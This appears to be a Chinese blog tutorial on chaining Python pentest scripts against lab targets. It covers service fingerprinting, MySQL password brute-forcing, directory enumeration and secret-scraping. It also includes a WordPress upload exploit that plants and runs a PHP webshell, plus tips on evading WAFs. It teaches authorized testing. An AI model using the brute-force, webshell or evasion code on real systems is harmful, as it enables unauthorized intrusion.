Python渗透测试实战:从脚本到自动化攻击链构建
1. 项目概述:从Python脚本小子到实战渗透者
如果你已经啃完了《Python安全攻防:渗透测试实战指南》的前三部分,恭喜你,你的工具箱里应该已经塞满了各种“兵器”——从基础的网络扫描、信息收集脚本,到简单的漏洞利用POC。但很多朋友走到这一步会陷入一个瓶颈:面对一个真实的靶机环境,比如DC-1、DC-9或者Corrosion,手里握着扫描出来的端口(21, 22, 80, 3306),却不知道下一步该“戳”哪里,感觉学到的知识点像一盘散沙,无法串联成一个有效的攻击链。这正是“学习四”要解决的核心问题: 将孤立的Python脚本技能,转化为系统化的、有逻辑的实战渗透思维 。
简单来说,这一阶段不再是学习新的语法或库,而是学习如何像一个真正的渗透测试工程师那样去“思考”和“行动”。你需要把之前学到的端口扫描、服务识别、漏洞探测、密码爆破等脚本,按照一个标准的渗透测试流程(PTES或OWASP测试指南)有机地组合起来,针对不同的服务(如Web、数据库、文件共享)制定不同的攻击策略。比如,扫到80端口开了HTTP服务,你脑子里应该立刻蹦出几个方向:目录枚举、子域名探测、框架指纹识别、已知漏洞搜索(用Python调用搜索引擎API或本地漏洞库),而不是仅仅写个 requests.get() 看看首页就完事了。
本部分内容适合已经掌握Python基础语法、了解常见安全库(如socket, requests, scapy, nmap-python等)的读者。我们将以几个典型的实战场景为脉络,深入探讨如何用Python自动化渗透测试中的关键环节,并分享大量在真实演练和CTF比赛中积累的、教科书里不会写的“骚操作”和“踩坑实录”。我们的目标很明确:让你不仅能写出脚本,更能知道在什么时候、为什么以及如何使用它,最终形成肌肉记忆。
2. 实战思维构建:从扫描结果到攻击路径
拿到一个靶机的IP,用 nmap 或自写的Python扫描脚本扫出了21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)这几个常见端口。新手往往会感到茫然,老手则已经开始绘制攻击面图谱了。这一步的关键是 信息关联与优先级排序 。
2.1 服务深度指纹识别
基础的 nmap -sV 可以告诉你服务版本,但这远远不够。我们需要用Python编写更精细的指纹识别脚本,为后续漏洞利用提供高价值情报。
对于HTTP/HTTPS服务: 仅仅知道是Apache或Nginx不够,要识别具体的Web应用框架(如WordPress, Joomla, Django)、前端框架、甚至插件和主题。这里可以用Python的 requests 库,通过特征匹配来实现。
import requests
import re
def web_fingerprint(url):
headers = {'User-Agent': 'Mozilla/5.0 (安全测试脚本)'}
try:
resp = requests.get(url, headers=headers, timeout=5, verify=False)
content = resp.text
headers = resp.headers
fingerprints = {
'WordPress': ['wp-content', 'wp-includes', '/wp-admin'],
'Joomla': ['joomla', 'content="Joomla'],
'Django': ['csrfmiddlewaretoken', 'Django'],
'ThinkPHP': ['thinkphp', 'ThinkPHP'],
'Apache Struts': ['struts.devMode', 'org.apache.struts2']
}
detected = []
for app, patterns in fingerprints.items():
for pattern in patterns:
if re.search(pattern, content, re.IGNORECASE) or (isinstance(pattern, str) and pattern in str(headers)):
detected.append(app)
break
# 检查特定文件
common_files = ['/robots.txt', '/wp-login.php', '/administrator/index.php']
for file in common_files:
test_url = url.rstrip('/') + file
try:
r = requests.get(test_url, headers=headers, timeout=3, verify=False)
if r.status_code == 200:
detected.append(f"可访问文件: {file}")
except:
pass
return list(set(detected)) if detected else ["未知或自定义应用"]
except Exception as e:
return [f"识别失败: {str(e)}"]
# 使用示例
if __name__ == "__main__":
target = "http://192.168.1.105"
result = web_fingerprint(target)
print(f"[*] Web应用指纹识别结果: {result}")
注意 :直接进行大量请求可能触发WAF或IPS。在实际测试中,务必控制请求频率,添加随机延时(
time.sleep(random.uniform(1, 3))),并考虑使用代理池。verify=False仅用于测试环境,生产环境或对公网目标使用需谨慎,因其会忽略SSL证书验证。
对于数据库服务: 探测到3306端口开放MySQL,除了版本,我们更关心是否允许空密码或弱密码远程登录、是否存在已知的认证绕过漏洞(如CVE-2012-2122)。可以用Python的 pymysql 或 mysql.connector 进行简单的认证测试。
import pymysql
from pymysql import Error
def mysql_auth_test(host, port=3306, user_list=['root', 'admin'], password_list=['', 'root', 'admin', 'password', '123456']):
results = []
for user in user_list:
for password in password_list:
try:
connection = pymysql.connect(host=host,
port=port,
user=user,
password=password,
connect_timeout=3)
print(f"[+] 成功爆破: {user}:{password}")
results.append((user, password))
connection.close()
# 找到一对后,可考虑跳出或继续
except Error as e:
# 根据错误号判断,1045是认证失败,2003是连接拒绝等
if e.args[0] == 1045:
pass # 密码错误,静默处理
else:
print(f"[-] 连接错误 ({user}:{password}): {e}")
return results
实操心得 :数据库爆破一定要放在内网或授权测试环境。公网数据库很少开放远程3306,且极易被安全设备封禁IP。更常见的入口是通过Web应用的SQL注入点获取数据库访问权限,而非直接爆破。
2.2 攻击面分析与路径选择
识别完服务后,我们需要绘制一张简单的攻击决策树:
-
端口80/443(Web服务) :
- 优先级:最高 。Web是最大的攻击面。
- 行动 :
- 运行目录/文件枚举脚本(如基于字典的
requests爆破)。 - 检查
robots.txt,sitemap.xml,crossdomain.xml等文件。 - 手动浏览或使用脚本分析JS文件,寻找隐藏API、子域名、敏感信息(如API密钥)。
- 如果识别出CMS(如WordPress),立即搜索其版本已知漏洞(可用Python调用
searchsploit或在线漏洞库API)。 - 测试常见漏洞:SQL注入(自动化工具如sqlmap的API,或自写简单检测脚本)、XSS、文件上传、命令执行等。
- 运行目录/文件枚举脚本(如基于字典的
-
端口21(FTP服务) :
- 优先级:中 。匿名登录(anonymous)是常见弱点。
- 行动 :
- 用Python的
ftplib测试匿名登录。 - 若匿名登录成功,递归列出所有目录,下载可能有价值的文件(如配置文件、备份文件)。
- 检查FTP版本是否存在已知漏洞(如ProFTPD漏洞)。
- 用Python的
-
端口22(SSH服务) :
- 优先级:中高 。一旦突破,直接获得shell。
- 行动 :
- 识别SSH版本,搜索相关漏洞(如OpenSSH漏洞)。
- 谨慎进行密码爆破 。SSH登录失败会有日志,且容易被封。更优策略是尝试从Web漏洞中获取的密码进行“撞库”,或者利用获取到的私钥文件。
-
端口3306(MySQL服务) :
- 优先级:取决于Web 。
- 行动 :
- 如Web存在SQL注入,则通过注入点操作数据库,无需直接连接3306。
- 若3306对外且弱口令爆破成功,则直接连接,尝试读取数据库内容、写入Webshell(通过
SELECT ... INTO OUTFILE,需有写权限和正确路径)。
核心思路 :Web入口通常是突破口。将Web中获取的信息(如数据库密码、服务器路径、用户名)作为其他服务(SSH, FTP, MySQL)的攻击凭据。这就是所谓的“横向移动”或“权限提升”的起点。
3. 核心环节自动化实现
手动操作效率低下且易出错。下面我们用Python将几个关键环节自动化。
3.1 智能目录与文件枚举
一个健壮的目录枚举脚本,不仅仅是发送GET请求。
import requests
import threading
import queue
import time
import random
from urllib.parse import urljoin
class DirectoryEnumerator:
def __init__(self, base_url, wordlist_path, threads=10):
self.base_url = base_url.rstrip('/')
self.wordlist = self.load_wordlist(wordlist_path)
self.queue = queue.Queue()
self.threads = threads
self.found = []
self.session = requests.Session()
self.session.headers.update({'User-Agent': 'Mozilla/5.0 (DirBuster仿冒)'})
# 添加常见文件扩展名
self.extensions = ['', '.php', '.html', '.txt', '.bak', '.tar.gz', '.zip', '.json', '.xml']
def load_wordlist(self, path):
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
return [line.strip() for line in f if line.strip() and not line.startswith('#')]
def worker(self):
while not self.queue.empty():
path = self.queue.get()
for ext in self.extensions:
test_url = urljoin(self.base_url + '/', path + ext)
try:
resp = self.session.get(test_url, timeout=5, allow_redirects=False)
# 不仅仅是200, 403(禁止访问)和 301/302(重定向)也值得关注
if resp.status_code in [200, 403, 301, 302]:
size = len(resp.content)
print(f"[{resp.status_code}] {test_url} (Size: {size})")
self.found.append((resp.status_code, test_url, size))
# 如果是目录(如返回列表或特定标识),可以递归加入队列(此处简化)
# 控制请求速率,避免被ban
time.sleep(random.uniform(0.1, 0.5))
except requests.exceptions.RequestException as e:
print(f"[!] 请求失败 {test_url}: {e}")
finally:
self.queue.task_done()
def run(self):
for word in self.wordlist:
self.queue.put(word)
for i in range(self.threads):
t = threading.Thread(target=self.worker)
t.daemon = True
t.start()
self.queue.join()
print(f"\n[*] 枚举完成,共发现 {len(self.found)} 个有效路径。")
return self.found
# 使用
if __name__ == "__main__":
enumerator = DirectoryEnumerator("http://192.168.1.105", "common_dirs.txt", threads=8)
results = enumerator.run()
注意事项 :
- 字典质量 :字典文件(
common_dirs.txt)的质量直接决定效果。推荐使用SecLists项目中的字典。可以针对不同CMS(如WordPress专属字典)进行优化。- 速率控制 :
time.sleep(random.uniform(0.1, 0.5))是关键,过于频繁的请求会触发防护机制。- 结果分析 :不要只关注200状态码。403可能意味着路径存在但无权限,这本身也是信息。301/302重定向可能指向登录页或管理后台。
- 递归枚举 :上述示例是平铺枚举。更高级的脚本应能识别目录(例如通过响应内容判断是否为目录列表),并将其加入队列进行递归枚举。
3.2 基于爬虫的敏感信息泄露挖掘
手动翻看JS文件太累。我们可以写一个简单的爬虫,自动从页面中提取JS文件链接,并扫描其中的敏感信息。
import re
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
class SensitiveInfoScraper:
def __init__(self, start_url, max_pages=50):
self.start_url = start_url
self.domain = urlparse(start_url).netloc
self.visited = set()
self.to_visit = [start_url]
self.max_pages = max_pages
self.session = requests.Session()
self.session.headers.update({'User-Agent': '安全信息收集爬虫'})
# 定义敏感信息正则模式
self.patterns = {
'API Key': r'(?i)(api[_-]?key|access[_-]?key|secret[_-]?key)[\s:=]+["\']([a-zA-Z0-9_\-]{20,50})["\']',
'JWT Token': r'(?i)(eyJ[a-zA-Z0-9_\-]{10,}\.[a-zA-Z0-9_\-]{10,}\.[a-zA-Z0-9_\-]{10,})',
'Email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
'IP Address': r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b',
'Hardcoded Password': r'(?i)(password|passwd|pwd)[\s:=]+["\']([^"\'\s]{6,})["\']',
}
def extract_links(self, soup, base_url):
links = []
for tag in soup.find_all(['a', 'script', 'link']):
href = tag.get('href') or tag.get('src')
if href:
full_url = urljoin(base_url, href)
if self.domain in full_url and full_url not in self.visited:
links.append(full_url)
return links
def scan_content(self, url, content):
findings = {}
for name, pattern in self.patterns.items():
matches = re.findall(pattern, content)
if matches:
findings[name] = matches
if findings:
print(f"\n[!] 在 {url} 中发现敏感信息:")
for k, v in findings.items():
print(f" {k}: {v[:3]}") # 只打印前3个示例
return findings
def crawl(self):
all_findings = []
page_count = 0
while self.to_visit and page_count < self.max_pages:
current_url = self.to_visit.pop(0)
if current_url in self.visited:
continue
self.visited.add(current_url)
page_count += 1
print(f"[*] 抓取 ({page_count}/{self.max_pages}): {current_url}")
try:
resp = self.session.get(current_url, timeout=10)
if 'text/html' in resp.headers.get('Content-Type', ''):
soup = BeautifulSoup(resp.text, 'html.parser')
# 扫描当前页面HTML
all_findings.append((current_url, self.scan_content(current_url, resp.text)))
# 提取新链接
new_links = self.extract_links(soup, current_url)
self.to_visit.extend([link for link in new_links if link not in self.visited])
# 专门处理JS文件
for script in soup.find_all('script', src=True):
js_url = urljoin(current_url, script['src'])
if js_url not in self.visited and self.domain in js_url:
try:
js_resp = self.session.get(js_url, timeout=5)
if js_resp.status_code == 200:
all_findings.append((js_url, self.scan_content(js_url, js_resp.text)))
except:
pass
time.sleep(0.5) # 礼貌延时
except Exception as e:
print(f"[-] 抓取失败 {current_url}: {e}")
return all_findings
# 使用
if __name__ == "__main__":
scraper = SensitiveInfoScraper("http://192.168.1.105", max_pages=30)
findings = scraper.crawl()
实操心得 :这种爬虫在授权测试中非常有用,但极易触发反爬机制。需要合理设置
User-Agent,增加延时,并处理好异常。正则表达式可能产生误报,需要人工复核。找到的API Key、密码等,务必在授权范围内验证其有效性。
3.3 漏洞利用链的Python化组装
以经典的“WordPress插件漏洞获取Webshell”为例。假设我们通过枚举发现了 /wp-content/plugins/some-vulnerable-plugin/ ,并搜索到该插件存在任意文件上传漏洞(CVE-XXXX-XXXX)。
我们不能只停留在知道漏洞,要用Python将利用过程自动化:
- 漏洞验证 :编写脚本发送特定的恶意请求,根据响应判断漏洞是否存在。
- 利用攻击 :如果存在,自动构造上传包含PHP代码的图片马(
<?php system($_GET[‘cmd’]);?>)的HTTP请求。 - 后门访问 :上传成功后,自动访问上传的文件,并尝试执行系统命令(如
whoami)来验证Webshell可用性。
import requests
import sys
def exploit_wordpress_upload(target, plugin_path):
# 步骤1:构造恶意上传请求
upload_url = f"{target.rstrip('/')}/wp-content/plugins/{plugin_path}/upload.php" # 假设的上传端点
shell_name = "shell.php.jpg"
shell_content = b'GIF89a<?php system($_GET["c"]);?>' # 图片马
files = {'file': (shell_name, shell_content, 'image/jpeg')}
data = {'some_param': 'value'} # 根据实际漏洞PoC填充
print(f"[*] 尝试利用 {upload_url}")
try:
resp = requests.post(upload_url, files=files, data=data, timeout=10)
if resp.status_code == 200 and 'success' in resp.text.lower():
# 步骤2:解析响应,获取上传后的路径(这步因漏洞而异,可能需要正则提取)
# 假设响应中包含了路径,例如:{"file":"/wp-content/uploads/2024/05/shell.php.jpg"}
import json
result = json.loads(resp.text)
uploaded_path = result.get('file')
if uploaded_path:
shell_url = urljoin(target, uploaded_path)
print(f"[+] 疑似上传成功,路径: {shell_url}")
# 步骤3:验证Webshell
verify_resp = requests.get(shell_url, params={'c': 'whoami'}, timeout=5)
if verify_resp.status_code == 200:
print(f"[+++] Webshell 激活成功!命令执行结果: {verify_resp.text[:100]}")
return shell_url
else:
print("[-] Webshell 访问失败。")
else:
print("[-] 无法从响应中解析文件路径。")
else:
print(f"[-] 上传请求失败或未返回成功状态。状态码: {resp.status_code}")
except Exception as e:
print(f"[!] 利用过程发生异常: {e}")
return None
# 注意:这是一个高度简化的示例框架,实际漏洞利用需要精确的PoC构造。
重要警告 :漏洞利用脚本(Exploit)的编写和使用必须严格遵守法律和授权范围。 绝对禁止 对未授权的任何系统进行测试。上述代码仅为教学示例,演示如何将手动操作转化为自动化流程的思路,其中的URL、参数、响应处理逻辑都需要根据具体的漏洞公告(CVE Details, Exploit-DB)进行调整。
4. 实战问题排查与深度技巧
在实际操作中,你会遇到各种脚本运行时的“坑”。下面分享一些高频问题的解决思路和提升效率的技巧。
4.1 常见问题速查表
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| 请求被目标服务器屏蔽或返回403 | 1. IP被WAF/防火墙封禁。 2. 缺少必要的HTTP头(如 Host , Referer , Cookie )。 3. 触发了频率限制。 |
1. 更换IP或使用代理 :在 requests 请求中设置 proxies 参数。可以维护一个代理IP列表并随机选用。 2. 模拟完整浏览器会话 :使用 requests.Session() 保持会话,并设置完整的Headers,包括从浏览器复制的 User-Agent , Accept-Language 等。 3. 降低请求频率 :在循环中增加随机延时 time.sleep(random.uniform(1, 5)) 。 |
| SSL证书验证错误 | 目标使用自签名证书或无效证书。 | 1. 临时禁用验证(仅测试环境) : requests.get(url, verify=False) 。 2. 忽略特定警告 : import urllib3; urllib3.disable_warnings() 。 注意 :生产环境应谨慎,这会降低安全性。 |
| 多线程脚本运行混乱或漏扫 | 线程竞争资源,队列处理不当。 | 1. 使用线程安全队列 : queue.Queue() 。 2. 正确使用 join() 和 task_done() :确保主线程等待所有子线程完成。 3. 打印输出加锁 : from threading import Lock; print_lock = Lock() ,在打印时 with print_lock: 。 |
| 数据库连接或命令执行超时 | 网络不稳定,目标服务响应慢,或命令本身耗时。 | 1. 设置合理的超时参数 :如 pymysql.connect(..., connect_timeout=5, read_timeout=10) 。 2. 使用 signal 模块为长任务设置警报 。 3. 考虑异步编程 ( asyncio )处理大量IO操作。 |
| 正则匹配不到预期内容 | 1. 网页动态加载(JS渲染)。 2. 正则表达式写得不准确或太严格。 |
1. 换用浏览器自动化工具 :如 selenium 或 playwright 来获取渲染后的页面源码。 2. 调试正则 :先用在线工具(如regex101)测试你的正则表达式是否能匹配到样本数据。 3. 使用更宽松的匹配 或 BeautifulSoup 等HTML解析器进行结构化提取。 |
| 脚本在Windows/Linux环境表现不一致 | 路径分隔符、编码、换行符差异。 | 1. 使用 os.path.join() 拼接路径 ,避免硬编码 / 或 \ 。 2. 文件操作明确指定编码,如 open(file, 'r', encoding='utf-8') 。 3. 换行符使用 \n ,或使用 os.linesep 。 |
4.2 效率提升与隐蔽性技巧
-
日志记录与结果持久化 :别只把结果打印到屏幕。使用
logging模块将运行状态、错误信息和重要发现记录到文件。对于扫描结果,自动保存为JSON或CSV格式,方便后续导入其他工具分析。import logging import json logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[logging.FileHandler('scan.log'), logging.StreamHandler()]) # 保存结果 with open('results.json', 'w') as f: json.dump(found_items, f, indent=4) -
配置化管理 :将目标URL、字典路径、线程数、超时时间等参数写入一个配置文件(如
config.yaml或config.ini),避免硬编码。这样在不同项目间切换时,只需修改配置文件。 -
善用第三方库与工具集成 :不要重复造轮子。对于复杂的漏洞检测,可以封装调用现有工具的命令行。例如,用
subprocess模块调用sqlmap的API模式进行SQL注入深度测试,或者调用nmap的XML输出并解析。import subprocess import xml.etree.ElementTree as ET # 调用nmap并解析结果 result = subprocess.run(['nmap', '-sV', '-oX', 'scan.xml', '192.168.1.105'], capture_output=True, text=True) tree = ET.parse('scan.xml') root = tree.getroot() # ... 解析XML获取端口和服务信息 -
保持低调:流量模拟与随机化 :
- 随机User-Agent :准备一个列表,每次请求随机选取。
- 请求间隔随机化 :
time.sleep(random.uniform(0.5, 3))。 - 模拟人类浏览模式 :在爬虫中,先访问首页,再点击几个链接,然后再进行深度扫描。
-
代码健壮性 :对所有网络请求、文件操作、数据库连接都使用
try-except进行异常捕获,并给出明确的错误信息,避免脚本因单个错误而整体崩溃。
5. 从靶场到真实环境的思维转变
在DC-1、DC-9这类为教学设计的靶场里,漏洞往往比较明显,路径相对直接。但真实网络环境复杂得多。完成“学习四”后,你需要建立以下思维:
- 没有“默认密码” :真实系统管理员不会使用
admin/admin或root/123456。你需要通过信息收集(GitHub代码泄露、历史漏洞泄露的数据库、社会工程学)来构造专属字典。 - 漏洞利用可能需绕过防护 :即使存在已知漏洞,也可能因为WAF、IDS/IPS、自定义修补而无法直接利用。需要研究绕过技巧,例如混淆攻击载荷、利用白名单特性、寻找二次注入点等。
- 关注“脆弱配置”而非“高危漏洞” :很多时候,突破点不是0day,而是错误的配置。例如,AWS S3存储桶权限配置错误、
.git目录泄露、备份文件未删除、调试接口未关闭等。用Python写脚本批量检测这类“低垂果实”往往效率极高。 - 持续性 :一次渗透测试不是运行一个脚本就结束。它是一个循环:信息收集 -> 漏洞分析 -> 利用尝试 -> 获取权限 -> 信息再收集(内网)-> 横向移动 -> 维持访问 -> 清理痕迹。你的Python脚本应该能嵌入到这个循环的各个环节,并能够将上一个环节的输出,作为下一个环节的输入。
最后,也是最重要的, 永远在授权范围内进行测试 。你所学习的这些技术,是为了帮助企业和组织发现并修复安全隐患,筑牢安全防线。保持好奇心,持续学习新的漏洞、新的绕过手法、新的工具,并将它们融入你的自动化脚本库中,这才是Python安全攻防之路的正确方向。
更多推荐
所有评论(0)